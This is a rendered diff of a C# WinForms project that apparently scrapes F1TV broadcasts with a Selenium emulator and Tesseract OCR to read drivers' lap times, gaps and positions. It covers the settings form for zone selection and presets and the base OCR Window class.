-                    if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES)
-                    {
-                        WindowP1 = new Point(-1, -1);
-                        WindowP2 = new Point(-1, -1);
-                    }
-                    else
-                    {
-                        WindowP1 = new Point(WindowP1.X, 0);
-                        WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height);
-                        CreateWindows(WindowsToAdd);
-                        SwitchWindowCreation();
-                    }
-                }
-                RefreshUI();
-            }
-        }
-        private void pbxDriverZone_Click(object sender, EventArgs e)
-        {
-            //Not the right one to use visibly
-        }
-        private Rectangle CreateAbsoluteRectangle(Point p1, Point p2)
-        {
-            Point newP1 = new Point();
-            Point newP2 = new Point();
-
-            if (p1.X < p2.X)
-            {
-                newP1.X = p1.X;
-                newP2.X = p2.X;
-            }
-            else
-            {
-                newP1.X = p2.X;
-                newP2.X = p1.X;
-            }
-
-            if (p1.Y < p2.Y)
-            {
-                newP1.Y = p1.Y;
-                newP2.Y = p2.Y;
-            }
-            else
-            {
-                newP1.Y = p2.Y;
-                newP2.Y = p1.Y;
-            }
-            return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y);
-        }
-
-        private async void btnRefresh_Click(object sender, EventArgs e)
-        {
-            btnRefresh.Enabled = false;
-            if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text)
-            {
-                Emulator = new F1TVEmulator(tbxGpUrl.Text);
-            }
-
-            if (!Emulator.Ready)
-            {
-                Task<int> start = Task.Run(() => Emulator.Start());
-                int errorCode = await start;
-                if (errorCode != 0)
-                {
-                    string message;
-                    switch (errorCode)
-                    {
-                        case 101:
-                            message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
-                            break;
-                        case 102:
-                            message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
-                            break;
-                        case 103:
-                            message = "Error " + errorCode + " The url is not a valid url";
-                            break;
-                        case 104:
-                            message = "Error " + errorCode + " The url is not a valid url";
-                            break;
-                        case 105:
-                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
-                            break;
-                        case 106:
-                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
-                            break;
-                        default:
-                            message = "Could not start the emulator Error " + errorCode;
-                            break;
-                    }
-                    MessageBox.Show(message);
-                }
-                else
-                {
-                    pbxMain.Image = Emulator.Screenshot();
-                }
-            }
-            else
-            {
-                pbxMain.Image = Emulator.Screenshot();
-            }
-            btnRefresh.Enabled = true;
-        }
-
-        private void Settings_FormClosing(object sender, FormClosingEventArgs e)
-        {
-            if (Emulator != null)
-            {
-                Emulator.Stop();
-            }
-        }
-
-        private void btnResetDriver_Click(object sender, EventArgs e)
-        {
-            if (Emulator != null)
-            {
-                Emulator.ResetDriver();
-            }
-        }
-
-        private void btnSavePreset_Click(object sender, EventArgs e)
-        {
-            string presetName = tbxPresetName.Text;
-            if (Config != null)
-            {
-                Config.SaveToJson(DriverList,presetName);
-            }
-            RefreshUI();
-        }
-
-        private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
-        {
-            //Nothing
-        }
-
-        private void btnLoadPreset_Click(object sender, EventArgs e)
-        {
-            if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null)
-            {
-                try
-                {
-                    Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false);
-                    //MainZones #0 is the big main zone containing driver zones
-                    Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds);
-                    Config.MainZone = reader.MainZones[0];
-                    DriverList = reader.Drivers;
-                }
-                catch (Exception ex)
-                {
-                    MessageBox.Show("Could not load the settings error :" + ex);
-                }
-                RefreshUI();
-            }
-        }
-    }
-}
-
-
    +
    using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.IO;
+using TrackTrends;
+
+namespace TrackTrends
+{
+    public partial class Settings : Form
+    {
+        private string _grandPrixUrl = "";
+        private string _selectedConfigFile;
+        private List<string> _driverList = new List<string>();
+
+        private F1TVEmulator Emulator = null;
+        private ConfigurationTool Config = null;
+
+        private bool CreatingZone = false;
+        private Point ZoneP1;
+        private Point ZoneP2;
+
+        private bool CreatingWindow = false;
+        private Point WindowP1;
+        private Point WindowP2;
+
+        List<Rectangle> WindowsToAdd = new List<Rectangle>();
+
+        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
+        public List<string> DriverList { get => _driverList; private set => _driverList = value; }
+        public string SelectedConfigFile { get => _selectedConfigFile; private set => _selectedConfigFile = value; }
+
+        //For the responsive content
+        Size oldSize = new Size();
+        Size oldGpbxPreviewSize = new Size();
+        Size oldGpbxWindowPreviewSize = new Size();
+
+        Size oldPbxPreviewSize = new Size();
+        Size oldPbxWindowPreviewSize = new Size();
+
+        public Settings()
+        {
+            InitializeComponent();
+            Load();
+        }
+        private void Load()
+        {
+            RefreshUI();
+            oldSize = this.Size;
+            oldGpbxPreviewSize = gpbxPreview.Size;
+            oldGpbxWindowPreviewSize = gpbxWindowPreview.Size;
+            oldPbxPreviewSize = pbxPreview.Size;
+            oldPbxWindowPreviewSize = pbxWindowPreview.Size;
+
+            tip1.SetToolTip(btnCreatZone, "After clicking you can select two points in the image to set the bounds of the important data");
+            tip1.SetToolTip(btnCreateWindow, "After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos");
+            tip1.SetToolTip(btnRefresh, "Starts the emulator or refreshes the images if its already running");
+            tip1.SetToolTip(btnResetDriver, "Resets the driver if something went wrong or if you want to test an other URL");
+            tip1.SetToolTip(lsbDrivers, "The drivers that are on the image. Non-Case sensitive");
+            tip1.SetToolTip(tbxPresetName, "The name of the preset you want to save");
+            tip1.SetToolTip(pbxPreview, "What the emulator returns");
+            tip1.SetToolTip(pbxWindowPreview, "One of the driver zones that the program managed to slice from the main zone");
+        }
+        private void RefreshUI()
+        {
+            lsbDrivers.DataSource = null;
+            lsbDrivers.DataSource = DriverList;
+
+            if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
+            {
+                lsbPresets.DataSource = null;
+                lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
+            }
+            if (CreatingZone)
+            {
+                if (ZoneP1 == new Point(-1, -1))
+                {
+                    lblZonePointsRemaning.Text = "2 points Remaining";
+                }
+                else
+                {
+                    lblZonePointsRemaning.Text = "1 point Remaining";
+                }
+            }
+            else
+            {
+                lblZonePointsRemaning.Text = "";
+            }
+
+            if (CreatingWindow)
+            {
+                if (WindowP1 == new Point(-1, -1))
+                {
+                    lblWindowPointsRemaining.Text = "2 points Remaining";
+                }
+                else
+                {
+                    lblWindowPointsRemaining.Text = "1 point Remaining";
+                }
+                lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + " Windows remaining";
+            }
+            else
+            {
+                lblWindowPointsRemaining.Text = "";
+                lblWindowsRemaining.Text = "";
+            }
+            if (Config != null)
+            {
+                pbxPreview.Image = Config.MainZone.Draw();
+                if (Config.MainZone.Zones.Count > 0)
+                    pbxWindowPreview.Image = Config.MainZone.Zones[0].Draw();
+            }
+        }
+        private void CreateNewZone(Point p1, Point p2)
+        {
+            Rectangle dimensions = CreateAbsoluteRectangle(p1, p2);
+            Config = new ConfigurationTool((Bitmap)pbxPreview.Image, dimensions);
+            RefreshUI();
+        }
+        private void CreateWindows(List<Rectangle> dimensions)
+        {
+            if (Config != null)
+            {
+                Config.AddWindows(dimensions);
+            }
+        }
+        private void tbxGpUrl_TextChanged(object sender, EventArgs e)
+        {
+            GrandPrixUrl = tbxGpUrl.Text;
+        }
+
+        private void btnAddDriver_Click(object sender, EventArgs e)
+        {
+            string newDriver = tbxDriverName.Text;
+            DriverList.Add(newDriver);
+            tbxDriverName.Text = "";
+            RefreshUI();
+        }
+
+        private void btnRemoveDriver_Click(object sender, EventArgs e)
+        {
+            if (lsbDrivers.SelectedIndex >= 0)
+            {
+                DriverList.RemoveAt(lsbDrivers.SelectedIndex);
+            }
+            RefreshUI();
+        }
+        private void SwitchZoneCreation()
+        {
+            if (CreatingZone)
+            {
+                CreatingZone = false;
+                lblZonePointsRemaning.Text = "";
+            }
+            else
+            {
+                CreatingZone = true;
+
+                if (Config != null)
+                    Config.ResetMainZone();
+
+                if (CreatingWindow)
+                    SwitchWindowCreation();
+
+                if (Emulator != null && Emulator.Ready)
+                {
+                    Config = null;
+                    pbxPreview.Image = Emulator.Screenshot();
+                }
+
+                ZoneP1 = new Point(-1, -1);
+                ZoneP2 = new Point(-1, -1);
+
+                lblZonePointsRemaning.Text = "2 Points left";
+            }
+            RefreshUI();
+        }
+        private void SwitchWindowCreation()
+        {
+            if (CreatingWindow)
+            {
+                CreatingWindow = false;
+            }
+            else
+            {
+                CreatingWindow = true;
+
+                if (Config != null)
+                    Config.ResetWindows();
+
+                if (CreatingZone)
+                    SwitchZoneCreation();
+
+                WindowP1 = new Point(-1, -1);
+                WindowP2 = new Point(-1, -1);
+
+                WindowsToAdd = new List<Rectangle>();
+            }
+            RefreshUI();
+        }
+        private void btnCreatZone_Click(object sender, EventArgs e)
+        {
+            SwitchZoneCreation();
+        }
+        private void btnCreateWindow_Click(object sender, EventArgs e)
+        {
+            SwitchWindowCreation();
+        }
+        private void pbxMain_MouseClick(object sender, MouseEventArgs e)
+        {
+            if (CreatingZone && pbxPreview.Image != null)
+            {
+                //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y));
+                Point coordinates = e.Location;
+                float xOffset = (float)pbxPreview.Image.Width / (float)pbxPreview.Width;
+                float yOffset = (float)pbxPreview.Image.Height / (float)pbxPreview.Height;
+                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
+
+                //MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString());
+
+                if (ZoneP1 == new Point(-1, -1))
+                {
+                    ZoneP1 = newPoint;
+                }
+                else
+                {
+                    ZoneP2 = newPoint;
+                    CreateNewZone(ZoneP1, ZoneP2);
+                    SwitchZoneCreation();
+                }
+                RefreshUI();
+            }
+        }
+        private void pbxMain_Click(object sender, EventArgs e)
+        {
+            //Not the right one to use visibly
+        }
+        private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e)
+        {
+            if (CreatingWindow && pbxWindowPreview.Image != null)
+            {
+                Point coordinates = e.Location;
+
+                float xOffset = (float)pbxWindowPreview.Image.Width / (float)pbxWindowPreview.Width;
+                float yOffset = (float)pbxWindowPreview.Image.Height / (float)pbxWindowPreview.Height;
+
+                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
+
+                if (WindowP1 == new Point(-1, -1))
+                {
+                    WindowP1 = newPoint;
+                }
+                else
+                {
+                    WindowP2 = newPoint;
+                    WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2));
+
+                    if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES)
+                    {
+                        WindowP1 = new Point(-1, -1);
+                        WindowP2 = new Point(-1, -1);
+                    }
+                    else
+                    {
+                        WindowP1 = new Point(WindowP1.X, 0);
+                        WindowP2 = new Point(WindowP2.X, pbxWindowPreview.Image.Height);
+                        CreateWindows(WindowsToAdd);
+                        SwitchWindowCreation();
+                    }
+                }
+                RefreshUI();
+            }
+        }
+        private void pbxDriverZone_Click(object sender, EventArgs e)
+        {
+            //Not the right one to use visibly
+        }
+        private Rectangle CreateAbsoluteRectangle(Point p1, Point p2)
+        {
+            Point newP1 = new Point();
+            Point newP2 = new Point();
+
+            if (p1.X < p2.X)
+            {
+                newP1.X = p1.X;
+                newP2.X = p2.X;
+            }
+            else
+            {
+                newP1.X = p2.X;
+                newP2.X = p1.X;
+            }
+
+            if (p1.Y < p2.Y)
+            {
+                newP1.Y = p1.Y;
+                newP2.Y = p2.Y;
+            }
+            else
+            {
+                newP1.Y = p2.Y;
+                newP2.Y = p1.Y;
+            }
+            return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y);
+        }
+
+        private async void btnRefresh_Click(object sender, EventArgs e)
+        {
+            btnRefresh.Enabled = false;
+            btnCreatZone.Enabled = false;
+            btnCreateWindow.Enabled = false;
+            btnResetDriver.Enabled = false;
+            if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text)
+            {
+                Emulator = new F1TVEmulator(tbxGpUrl.Text);
+            }
+
+            if (!Emulator.Ready)
+            {
+                Task<int> start = Task.Run(() => Emulator.Start());
+                int errorCode = await start;
+                if (errorCode != 0)
+                {
+                    string message;
+                    switch (errorCode)
+                    {
+                        case 100:
+                            message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again";
+                            break;
+                        case 101:
+                            message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
+                            break;
+                        case 102:
+                            message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
+                            break;
+                        case 103:
+                            message = "Error " + errorCode + " The url is not a valid url";
+                            break;
+                        case 104:
+                            message = "Error " + errorCode + " The url is not a valid url";
+                            break;
+                        case 105:
+                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
+                            break;
+                        case 106:
+                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
+                            break;
+                        default:
+                            message = "Could not start the emulator Error " + errorCode;
+                            break;
+                    }
+                    MessageBox.Show(message);
+                }
+                else
+                {
+                    pbxPreview.Image = Emulator.Screenshot();
+                }
+            }
+            else
+            {
+                pbxPreview.Image = Emulator.Screenshot();
+            }
+            btnRefresh.Enabled = true;
+            btnCreatZone.Enabled = true;
+            btnCreateWindow.Enabled = true;
+            btnResetDriver.Enabled = true;
+            btnRefresh.Text = "Get a newer image";
+        }
+
+        private void Settings_FormClosing(object sender, FormClosingEventArgs e)
+        {
+            if (Emulator != null)
+            {
+                Emulator.Stop();
+            }
+            Emulator = null;
+            GC.Collect();
+        }
+
+        private void btnResetDriver_Click(object sender, EventArgs e)
+        {
+            if (Emulator != null)
+            {
+                Emulator.ResetDriver();
+            }
+        }
+
+        private void btnSavePreset_Click(object sender, EventArgs e)
+        {
+            string presetName = tbxPresetName.Text;
+            if (Config != null)
+            {
+                Config.SaveToJson(DriverList, presetName);
+            }
+            RefreshUI();
+        }
+
+        private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
+        {
+            SelectedConfigFile = (string)lsbPresets.Items[lsbPresets.SelectedIndex];
+        }
+
+        private void btnLoadPreset_Click(object sender, EventArgs e)
+        {
+            //MessageBox.Show(lsbPresets.SelectedIndex.ToString());
+            if (lsbPresets.SelectedIndex >= 0 && pbxPreview.Image != null)
+            {
+                try
+                {
+                    string fileName = lsbPresets.Items[lsbPresets.SelectedIndex].ToString();
+                    Reader reader = new Reader(fileName, (Bitmap)pbxPreview.Image, false);
+                    //MainZones #0 is the big main zone containing driver zones
+                    Config = new ConfigurationTool((Bitmap)pbxPreview.Image, reader.MainZones[0].Bounds);
+                    Config.MainZone = reader.MainZones[0];
+                    DriverList = reader.Drivers;
+                    SelectedConfigFile = fileName;
+                }
+                catch (Exception ex)
+                {
+                    MessageBox.Show("Could not load the settings error :" + ex);
+                }
+                RefreshUI();
+            }
+        }
+
+        private void Settings_Resize(object sender, EventArgs e)
+        {
+            int xDiff = this.Width - oldSize.Width;
+            int yDiff = this.Height - oldSize.Height;
+
+            gpbxPreview.Size = new Size(oldGpbxPreviewSize.Width + xDiff, oldGpbxPreviewSize.Height + yDiff);
+            gpbxWindowPreview.Size = new Size(oldGpbxWindowPreviewSize.Width + xDiff, oldGpbxWindowPreviewSize.Height);
+            pbxPreview.Size = new Size(oldPbxPreviewSize.Width + xDiff, oldPbxPreviewSize.Height + yDiff);
+            pbxWindowPreview.Size = new Size(oldPbxWindowPreviewSize.Width + xDiff, oldPbxWindowPreviewSize.Height);
+        }
+
+        private void btnDeletePreset_Click(object sender, EventArgs e)
+        {
+            int selectedIndex = lsbPresets.SelectedIndex;
+            if (selectedIndex >= 0)
+            {
+                string fileName = lsbPresets.Items[selectedIndex].ToString();
+                if (File.Exists(fileName))
+                {
+                    File.Delete(fileName);
+                    RefreshUI();
+                }
+                else
+                {
+                    MessageBox.Show("Could not delete the preset because it does not exists");
+                }
+            }
+        }
+
+        private void removeBorders(object sender, PaintEventArgs e)
+        {
+            GroupBox gpbx = (GroupBox)sender;
+
+            using (Pen pen = new Pen(gpbx.BackColor, 50))
+            {
+                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
+                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
+            }
+
+            using (var brush = new SolidBrush(gpbx.ForeColor))
+            {
+                var textPosition = new Point(5, 0); // Adjust the X and Y values as needed
+                e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition);
+            }
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +185,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,10 +215,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
    • +
  • + + + Window.cs + +
  • recoverCookiesCSV.py @@ -239,332 +254,690 @@

    Window.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : Window.cs
-/// Brief : Default Window object that is mainly expected to be inherited.
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-using System.IO;
-using Tesseract;
-using System.Text.RegularExpressions;
-using System.Drawing.Drawing2D;
-
-namespace Test_Merge
-{
-    public class Window
-    {
-        private Rectangle _bounds;
-        private Bitmap _image;
-        private string _name;
-        protected TesseractEngine Engine;
-        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
-        public Bitmap Image { get => _image; set => _image = value; }
-        public string Name { get => _name; protected set => _name = value; }
-        //This will have to be changed if you want to make it run on your machine
-        public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData");
-
-        public Bitmap WindowImage
-        {
-            get
-            {
-                //This little trickery lets you have the image that the window sees
-                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
-                Graphics g = Graphics.FromImage(sample);
-                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
-                return sample;
-            }
-        }
-        public Window(Bitmap image, Rectangle bounds, bool generateEngine = true)
-        {
-            Image = image;
-            Bounds = bounds;
-            if (generateEngine)
-            {
-                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
-                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
-            }
-        }
-        /// <summary>
-        /// Method that will have to be used by the childrens to let the model make them decode the images they have
-        /// </summary>
-        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
-        public virtual async Task<Object> DecodePng()
-        {
-            return "NaN";
-        }
-        /// <summary>
-        /// Method that will have to be used by the childrens to let the model make them decode the images they have
-        /// </summary>
-        /// <param name="driverList">This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short</param>
-        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
-        public virtual async Task<Object> DecodePng(List<string> driverList)
-        {
-            return "NaN";
-        }
-        /// <summary>
-        /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks
-        /// </summary>
-        /// <param name="inputImage">The image you want to convert</param>
-        /// <returns>A byte array containing the image informations</returns>
-        public static byte[] ImageToByte(Image inputImage)
-        {
-            using (var stream = new MemoryStream())
-            {
-                inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
-                return stream.ToArray();
-            }
-        }
-        /// <summary>
-        /// This method is used to recover a time from a PNG using Tesseract OCR
-        /// </summary>
-        /// <param name="windowImage">The image where the text is</param>
-        /// <param name="windowType">The type of window it is</param>
-        /// <param name="Engine">The Tesseract Engine</param>
-        /// <returns>The time in milliseconds</returns>
-        public static async Task<int> GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine)
-        {
-            //Kind of a big method but it has a lot of error handling and has to work with three special cases
-            string rawResult = "";
-            int result = 0;
-
-            switch (windowType)
-            {
-                case OcrImage.WindowType.Sector:
-                    //The usual sector is in this form : 33.456
-                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.");
-                    break;
-                case OcrImage.WindowType.LapTime:
-                    //The usual Lap time is in this form : 1:45:345
-                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.:");
-                    break;
-                case OcrImage.WindowType.Gap:
-                    //The usual Gap is in this form : + 34.567
-                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.+");
-                    break;
-                default:
-                    Engine.SetVariable("tessedit_char_whitelist", "");
-                    break;
-            }
-
-
-            Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType);
-
-            var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage));
-
-            Page page = Engine.Process(tessImage);
-            Graphics g = Graphics.FromImage(enhancedImage);
-            // Get the iterator for the page layout
-            using (var iter = page.GetIterator())
-            {
-                // Loop over the elements of the page layout
-                iter.Begin();
-                do
-                {
-                    // Get the text for the current element
-                    try
-                    {
-                        rawResult += iter.GetText(PageIteratorLevel.Word);
-                    }
-                    catch
-                    {
-                        //nothing we just dont add it if its not a number
-                    }
-                } while (iter.Next(PageIteratorLevel.Word));
-            }
-
-            List<string> rawNumbers;
-
-            //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something
-            if (windowType == OcrImage.WindowType.Gap)
-                rawResult = Regex.Replace(rawResult, "[^0-9.:]", "");
-
-            //Splits into minuts seconds miliseconds
-            rawNumbers = rawResult.Split('.', ':').ToList<string>();
-            //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian)
-            rawNumbers.RemoveAll(x => ((string)x) == "");
-
-            if (rawNumbers.Count == 3)
-            {
-                //mm:ss:ms
-                result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]);
-            }
-            else
-            {
-                if (rawNumbers.Count == 2)
-                {
-                    //ss:ms
-                    result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]);
-
-                    if (result > 999999)
-                    {
-                        //We know that we have way too much seconds to make a minut
-                        //Its usually because the ":" have been interpreted as a number
-                        int minuts = (int)(rawNumbers[0][0] - '0');
-                        // rawNumbers[0][1] should contain the : that has been mistaken
-                        int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
-                        int ms = Convert.ToInt32(rawNumbers[1]);
-                        result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms);
-                    }
-                }
-                else
-                {
-                    if (rawNumbers.Count == 1)
-                    {
-                        try
-                        {
-                            result = Convert.ToInt32(rawNumbers[0]);
-                        }
-                        catch
-                        {
-                            //It can be because the input is empty or because its the LEADER bracket
-                            result = 0;
-                        }
-                    }
-                    else
-                    {
-                        //Auuuugh
-                        result = 0;
-                    }
-                }
-            }
-            page.Dispose();
-            return result;
-        }
-        /// <summary>
-        /// Method that recovers strings from an image using Tesseract OCR
-        /// </summary>
-        /// <param name="WindowImage">The image of the window that contains text</param>
-        /// <param name="Engine">The Tesseract engine</param>
-        /// <param name="allowedChars">The list of allowed chars</param>
-        /// <param name="windowType">The type of window the text is on. Depending on the context the OCR will behave differently</param>
-        /// <returns>the string it found</returns>
-        public static async Task<string> GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text)
-        {
-            string result = "";
-
-            Engine.SetVariable("tessedit_char_whitelist", allowedChars);
-
-            Bitmap rawData = WindowImage;
-            Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType);
-
-            Page page = Engine.Process(enhancedImage);
-            using (var iter = page.GetIterator())
-            {
-                iter.Begin();
-                do
-                {
-                    result += iter.GetText(PageIteratorLevel.Word);
-                } while (iter.Next(PageIteratorLevel.Word));
-            }
-            page.Dispose();
-            return result;
-        }
-        /// <summary>
-        /// Get a smaller image from a bigger one
-        /// </summary>
-        /// <param name="inputBitmap">The big bitmap you want to get a part of</param>
-        /// <param name="newBitmapDimensions">The dimensions of the new bitmap</param>
-        /// <returns>The little bitmap</returns>
-        protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions)
-        {
-            Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height);
-            Graphics g = Graphics.FromImage(sample);
-            g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel);
-            return sample;
-        }
-        /// <summary>
-        /// Returns the closest string from a list of options
-        /// </summary>
-        /// <param name="options">an array of all the possibilities</param>
-        /// <param name="testString">the string you want to compare</param>
-        /// <returns>The closest option</returns>
-        protected static string FindClosestMatch(List<string> options, string testString)
-        {
-            var closestMatch = "";
-            var closestDistance = int.MaxValue;
-
-            foreach (var item in options)
-            {
-                var distance = LevenshteinDistance(item, testString);
-                if (distance < closestDistance)
-                {
-                    closestMatch = item;
-                    closestDistance = distance;
-                }
-            }
-            return closestMatch;
-        }
-        //This method has been generated with the help of ChatGPT
-        /// <summary>
-        /// Method that computes a score of distance between two strings
-        /// </summary>
-        /// <param name="string1">The first string (order irrelevant)</param>
-        /// <param name="string2">The second string (order irrelevant)</param>
-        /// <returns>The levenshtein distance</returns>
-        protected static int LevenshteinDistance(string string1, string string2)
-        {
-            if (string.IsNullOrEmpty(string1))
-            {
-                return string.IsNullOrEmpty(string2) ? 0 : string2.Length;
-            }
-
-            if (string.IsNullOrEmpty(string2))
-            {
-                return string.IsNullOrEmpty(string1) ? 0 : string1.Length;
-            }
-
-            var d = new int[string1.Length + 1, string2.Length + 1];
-            for (var i = 0; i <= string1.Length; i++)
-            {
-                d[i, 0] = i;
-            }
-
-            for (var j = 0; j <= string2.Length; j++)
-            {
-                d[0, j] = j;
-            }
-
-            for (var i = 1; i <= string1.Length; i++)
-            {
-                for (var j = 1; j <= string2.Length; j++)
-                {
-                    var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1;
-                    d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost);
-                }
-            }
-
-            return d[string1.Length, string2.Length];
-        }
-        public virtual string ToJSON()
-        {
-            string result = "";
-
-            result += "\"" + Name + "\"" + ":{" + Environment.NewLine;
-            result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine;
-            result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine;
-            result += "\t" + "\"width\":" + Bounds.Width + Environment.NewLine;
-            result += "}";
-
-            return result;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : Window.cs
+/// Brief : Default Window object that is mainly expected to be inherited.
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+using System.IO;
+using Tesseract;
+using System.Text.RegularExpressions;
+using System.Drawing.Drawing2D;
+
+namespace TrackTrends
+{
+    public class Window
+    {
+        public const string STRING_DEBUG_FOLDER = "./GetString";
+        public const string LAPTIME_DEBUG_FOLDER = "./LapTime";
+        public const string GAPTOLEADER_DEBUG_FOLDER = "./Gap";
+        public const string SECTOR1_DEBUG_FOLDER = "./Sector1";
+        public const string SECTOR2_DEBUG_FOLDER = "./Sector2";
+        public const string SECTOR3_DEBUG_FOLDER = "./Sector3";
+        public const string DRS_DEBUG_FOLDER = "./DRS";
+        public const string TYRE_DEBUG_FOLDER = "./Tyre";
+
+        private Rectangle _bounds;
+        private Bitmap _image;
+        private string _name;
+        protected TesseractEngine Engine;
+        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
+        public Bitmap Image { get => _image; set => _image = value; }
+        public string Name { get => _name; protected set => _name = value; }
+        //This will have to be changed if you want to make it run on your machine
+        public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData");
+        //Debug
+        public static Random rnd = new Random();
+
+        public Bitmap WindowImage
+        {
+            get
+            {
+                //This little trickery lets you have the image that the window sees
+                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
+                Graphics g = Graphics.FromImage(sample);
